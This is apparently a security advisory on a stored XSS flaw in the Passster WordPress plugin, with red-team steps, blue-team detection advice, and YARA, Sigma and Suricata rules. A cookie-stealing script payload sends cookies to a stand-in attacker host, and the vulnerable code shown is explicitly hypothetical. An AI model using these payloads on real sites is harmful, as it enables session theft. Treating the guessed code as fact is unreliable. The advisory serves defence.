CVE-2025-57926

Executive Summary

CVE-2025-57926 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the WordPress plugin Passster (content-protector) by WP Chill, up to and including version 4.2.18. This vulnerability allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages protected by the plugin. When an administrator or other user views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for affected WordPress sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package. However, as a WordPress plugin, it is part of the WordPress supply chain. Administrators should monitor the plugin's update channel and consider removing or replacing the plugin if a patch is not released promptly.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N) – However, exploitation requires an authenticated user with contributor-level access to inject the payload. The CVSS assumes the attacker has already gained such access.
• User Interaction: Required (UI:R) – The victim (e.g., an admin) must view the compromised page.
• Scope: Changed (S:C) – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. While the CVSS score is 6.5, the requirement for authenticated access reduces the immediate threat. However, once an attacker has contributor access, the stored XSS can be used to escalate privileges or compromise higher-level users.

Deep Dive & Mechanics

The Passster plugin is designed to protect content on WordPress sites, requiring users to enter a password or passphrase to view protected pages or posts. The vulnerability lies in how the plugin handles user input when creating or editing protected content. Specifically, the plugin fails to properly sanitize and escape user-supplied data before storing it in the database and later rendering it in the browser.

Attack Flow:

1. An attacker with contributor-level access (or higher) creates or edits a post/page that uses the Passster protection.
2. The attacker injects a malicious JavaScript payload into a field that is not properly sanitized (e.g., the password hint, custom message, or other input fields).
3. The payload is stored in the WordPress database.
4. When an administrator or other user views the protected content, the stored payload is rendered in the browser without proper escaping.
5. The malicious script executes in the context of the victim's session, allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the page.

Root Cause: The plugin uses functions like echo or the_content without applying WordPress's built-in escaping functions (e.g., esc_html(), wp_kses_post()) to user-supplied input. This allows HTML and JavaScript to be stored and executed.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.

Vulnerable Code (Passster <= 4.2.18):

// In a template or function that outputs the password hint
echo '<div class="passster-hint">' . $password_hint . '</div>';

Patched Code (Hypothetical):

// Properly escape the output
echo '<div class="passster-hint">' . esc_html( $password_hint ) . '</div>';

The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution. Alternatively, wp_kses_post() could be used if limited HTML is allowed.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress installation with Passster plugin version <= 4.2.18.
• A user account with at least Contributor role.

Steps:

1. Log in as a contributor.
2. Create a new post or page and enable Passster protection.
3. In the "Password Hint" field (or similar input), inject the following payload:

   <script>alert('XSS')</script>
   

4. Save the post.
5. As an administrator, view the protected post. The alert box will execute.

Advanced Payload (Cookie Stealing):

<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>

Blue Team

Detection:

• Monitor for unusual content in Passster-related fields (e.g., password hints, custom messages) containing <script> tags or event handlers.
• Review WordPress user activity logs for suspicious edits to protected content by lower-privileged users.

Prevention:

• Implement a Web Application Firewall (WAF) rule to block common XSS patterns in POST requests to wp-admin/post.php or wp-admin/post-new.php.
• Use WordPress security plugins that scan for malicious content.

Hunting:

• Query the WordPress database for stored XSS indicators:

  SELECT * FROM wp_posts WHERE post_content LIKE '%<script>%' OR post_content LIKE '%onerror=%';
  

Indicators of Compromise (IOCs)

• File Hashes (Plugin Files):
  • passster/passster.php (SHA256: UNKNOWN – check against official repository)
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data.
• Log Entries:
  • WordPress debug log entries showing unexpected HTML/JavaScript in post content.
• Database Indicators:
  • Rows in wp_posts or wp_postmeta containing <script> tags or event handlers in fields related to Passster.

Detection Engineering

YARA Rule

rule CVE_2025_57926_Passster_XSS {
    meta:
        description = "Detects stored XSS payloads in Passster plugin content"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-57926"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $plugin = "passster"
    condition:
        any of ($xss*) and $plugin
}

Sigma Rule

title: Stored XSS in Passster Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in Passster plugin fields
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '|contains| /wp-admin/post.php'
        http.body: '|contains| passster'
    keywords:
        - '<script>'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in post content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-57926 Stored XSS in Passster Plugin"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"passster"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Passster plugin until an official patch is released.
2. Review and clean any existing protected content for injected scripts.
3. Reset passwords for all users who may have been compromised.

Long-term Mitigation:

• Monitor the WP Chill plugin page for updates.
• Consider replacing Passster with an alternative content protection plugin that is actively maintained.
• Implement a Content Security Policy (CSP) to mitigate XSS impact.
• Enforce the principle of least privilege: restrict contributor-level access to trusted users only.

Patch Status: UNKNOWN. No official patch has been released as of this report. Users are advised to disable the plugin immediately.

Valters IT – Securing Digital Frontiers